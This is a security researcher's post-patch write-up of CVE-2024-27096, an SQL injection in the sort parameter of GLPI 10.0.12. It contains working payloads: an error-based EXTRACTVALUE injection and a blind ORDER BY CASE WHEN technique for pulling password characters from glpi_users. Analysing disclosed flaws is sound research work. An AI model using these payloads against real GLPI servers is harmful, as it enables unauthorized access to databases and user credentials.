Exploiting CVE-2024-27096

stuff

Intro

A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The vendor was notified and released a patch after a couple of days, and I saw in the release notes that someone found an SQL injection in the same version. I was a little bit surprised (and also a bit disappointed to not have found it myself, I have to admit), and I was really curious about the exploitation details. Since the vendor did not disclose them, the only thing I had at this moment was the advisory and a link to the patch, referenced by the CVE bulletin:

GHSA-2x8m-vrcm-2jqv Patch for CVE-2024-27096

When I wrote this article, I realised that the reporter published a blogpost (see references) where details were pretty clear, but when I started to analyse the patch, they were not yet disclosed. Therefore, since the details are already public, I will not describe how I uncovered that flaw during my own analysis, but will focus on the way I exploited it.

The flaw

One can quickly see that something weird is happening when setting the parameter sort in search requests, to sort the results. In the patch, the values passed in the sort array were casted as integers, so it was likely that they were improperly compared against strings in the flawed version. In PHP 7.*, the loose comparison between strings and integers returns a positive answer if the string value starts with the expected integer. For instance, it would return true when computing 8 == "8-put-a-string-here". The quotes were escaped in the user inputs, but as long as the payload did not contain one, I could inject any string I wanted, and break outside the SORT clause.

Uncovering the injection

When performing a research among the assets, the application dynamically builds a query based on the filters the user wants to apply. The sort parameter is supposed to contain integers that are mapped to column names, and the lack of explicit conversion opened the way to injections. To make things easier, I added a line to write the SQL queries into a text file, and saw that the faulty query was as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
SELECT DISTINCT
    `glpi_computers`.`id` AS id, 'glpi' AS currentuser,
    `glpi_computers`.`entities_id`,
    `glpi_computers`.`is_recursive`,
    `glpi_computers`.`name` AS `ITEM_Computer_1`,
    `glpi_computers`.`id` AS `ITEM_Computer_1_id`,
    `glpi_states`.`completename` AS `ITEM_Computer_31`,
    `glpi_manufacturers`.`name` AS `ITEM_Computer_23`,
    `glpi_computers`.`serial` AS `ITEM_Computer_5`,
    `glpi_computertypes`.`name` AS `ITEM_Computer_4`,
    `glpi_computermodels`.`name` AS `ITEM_Computer_40`,
    GROUP_CONCAT(
        DISTINCT CONCAT(
            IFNULL(`glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`.`name`, '__NULL__'),
            '$#$',`glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`.`id`)
        ORDER BY `glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`.`id` SEPARATOR '$$##$$') AS `ITEM_Computer_45`,
    `glpi_locations`.`completename` AS `ITEM_Computer_3`,
    `glpi_computers`.`date_mod` AS `ITEM_Computer_19`,
    GROUP_CONCAT(
        DISTINCT CONCAT(
            IFNULL(`glpi_deviceprocessors_7083fb7d2b7a8b8abd619678acc5b604`.`designation`, '__NULL__'),
            '$#$',`glpi_deviceprocessors_7083fb7d2b7a8b8abd619678acc5b604`.`id`)
        ORDER BY `glpi_deviceprocessors_7083fb7d2b7a8b8abd619678acc5b604`.`id` SEPARATOR '$$##$$') AS `ITEM_Computer_17`
FROM `glpi_computers`
...
WHERE `glpi_computers`.`is_deleted` = 0
    AND `glpi_computers`.`is_template` = 0
    AND ((
            (`glpi_computers`.`name`  LIKE '%my-search-term%' )
            OR  (`glpi_states`.`completename`  LIKE '%my-search-term%' ) 
            OR  (`glpi_manufacturers`.`name`  LIKE '%my-search-term%' ) 
            OR  (`glpi_computers`.`serial`  LIKE '%my-search-term%' )
            OR  (`glpi_computertypes`.`name`  LIKE '%my-search-term%' )
            OR  (`glpi_computermodels`.`name`  LIKE '%my-search-term%' )
            OR  (`glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`.`name`  LIKE '%my-search-term%' )
            OR  (`glpi_locations`.`completename`  LIKE '%my-search-term%' )
            OR  (CONVERT(`glpi_computers`.`date_mod` USING utf8mb4)  LIKE '%my-search-term%' )
        ))
GROUP BY `glpi_computers`.`id`
ORDER BY `ITEM_Computer_1hey-oh` ASC

(escaping sequences removed for readability)

One can see that the ORDER BY clause is injected, where ITEM_Computer_1hey-oh is supposed to be a column.

The error-based approach

In the article the security researcher published, they say that they first tried to exploit it with a time-based blind SQL injection, and then found an easier way with an error-based one. The trick they used is based on the function EXTRACTVALUE. The latter expects two arguments:

  • xml_frag: an XML fragment where to search (haystack)
  • xpath_expr: the XPATH expression coming as a search term (needle)

The idea is to pass the string to extract as the second argument, and the DBMS would complain because it is not a valid XPATH expression. They used the following payload:

1
1`,extractvalue(rand(),concat(CHAR(126),(SELECT database()),CHAR(126))) -- -

and got their answer in the web page. In this case, we extract the database name:

extractvalues injection

But what if the application would not have returned any error message ?

An uncommon content-based blind injection

As my grandma said, back in the days, we did not have SQLmap and had to do it by hand, today’s young people are so lazy, and I always prefer building the payloads myself too.

Generally speaking, content-based blind SQL injections rely on a dichotomic research, asking boolean questions to the DBMS, and comparing the results in terms of content-length, HTTP codes, or patterns. With patience and luck, an attacker may extract bit by bit the content of the database. In most of the examples one can find in the wild, the injection occurs in the WHERE clause, that makes the injection quite easy:

1
2
3
4
SELECT *
FROM the_table
WHERE id={input}
GROUP BY the_column ASC

As an input, we would have something like:

1
((select ascii(substr(password,1,1)) from glpi_users where id=2)>65)

that asks if the ASCII code of the first character of the password of user n°2 is greater than 65. The resulting query would therefore be:

1
2
3
4
5
SELECT * FROM the_table WHERE id=0 GROUP BY the_column ASC

-- or

SELECT * FROM the_table WHERE id=1 GROUP BY the_column ASC

which would probably lead to different generated web pages.

Depending on the answer, we would ask either:

1
((select ascii(substr(password,1,1)) from glpi_users where id=2)>32)

or

1
((select ascii(substr(password,1,1)) from glpi_users where id=2)>96)

in order to split in half the search space. Once the first character is found, we would restart by updating the arguments of SUBSTRING to uncover the second character and so on…

However, the situation was trickier here, because we would inject in the ORDER BY clause, and at this point of the query, SELECT, UNION, or WHERE are not allowed (and batch queries neither). The idea would be to abuse the injection to sort the results in different ways, according to the boolean question: if the answer is positive, then sort in one way, otherwise sort it differently. The elements would be the same, but displayed in a different order.

Injection in the ORDER BY clause

Multiple columns can be specified in the ORDER BY clause: the filter for the column n+1 would apply if the values for the column n are the same. For instance, if we have:

id name age gender address
1 Alice 19 F 127.0.0.1
2 Bob 19 M ::1
3 Charlie 18 M 255.255.255.255

then doing SELECT * FROM users ORDER BY age,gender ASC would return this (Charlie goes first because he is younger, and then Alice takes the second place because F goes before M):

id name age gender address
3 Charlie 18 M 255.255.255.255
1 Alice 19 F 127.0.0.1
2 Bob 19 M ::1

and SELECT * FROM users ORDER BY gender,age ASC would return this (Alice goes first because F goes before M, and Charlies takes the second place because he is younger than Bob):

id name age gender address
1 Alice 19 F 127.0.0.1
3 Charlie 18 M 255.255.255.255
2 Bob 19 M ::1

Based on the query that we logged earlier, we know that we inject here:

1
ORDER BY `ITEM_Computer_{input}` ASC

We must therefore close the column name with a number and a backtick, then add another column name depending on the result of our boolean question, and finally add a backtick and a third column name to properly inject. Fortunately, the ORDER BY clause accepts the CASE ... WHEN ... THEN structure, like this:

1
2
3
4
5
6
7
8
9
10
11
12
ORDER BY
    `ITEM_Computer_40`,
    (
        CASE
            WHEN 1=0 THEN
                `glpi_computers`.`id`
            ELSE
                `glpi_computers`.`name`
        END
    ),
    `glpi_computers`.`is_recursive`
ASC

The idea was to select as the first column something that would be the same for at least two elements, so that the second column would apply (and the latter must contain different values to make the sorting different). If the condition is true, then the sorting applies on glpi_computers.id, otherwise it would be on glpi_computers.name. The third column does not really matter.

Injection 1 Injection 2

This attack can be performed by a low-privileged user who can only see the tickets (like post-only)

References

  1. Exploiting GLPI during a Red Team engagement